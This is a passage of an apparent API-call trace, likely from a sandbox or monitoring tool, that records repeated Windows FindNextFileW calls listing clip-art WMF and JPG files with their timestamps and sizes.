ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe00f20a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe00f20a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0137.812] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe03547c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0137.813] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe05b6d7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0137.814] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe05b6d7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe05b6d7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe081920, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe081920, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe081920, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, 